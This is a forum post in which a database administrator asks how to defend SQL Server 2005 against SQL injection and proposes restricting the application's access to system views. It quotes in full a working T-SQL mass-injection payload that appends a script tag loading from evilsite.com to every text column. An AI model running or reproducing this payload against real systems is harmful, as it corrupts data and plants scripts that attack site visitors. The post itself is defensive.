Protecting Against Blind Sql Injection...

Helloo all,

I would like to gather some thoughts on how to secure my database (running on sql server 2005) from SQL injection , one such as :





Code Snippet

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
Basically this statement finds every text column contained in a database and inserts a cross site script into it.


I know this topic has been covered in some depth in articles such as :
MSDN article on SQL injection (http://msdn.microsoft.com/en-us/library/ms161953.aspx)
and on forums a few times.

And the general consensus is to check application code and fix it, which is fine, however we have many legacy systems where it would be too time consuming to fix the problem at the application level.

So the alternative is fix this at the database level.

A possible solution is to isolate the application access to only the objects it uses, and none of the system objects. This should prevent the statement above from running, because it requests access to the sysobjects and syscolumns views. I could implement this by changing the schema for all user objects from dbo to [myAppSchema] and assigning it to my applications database user.

Not particularly elegant but might work, what do you think?


Nigel.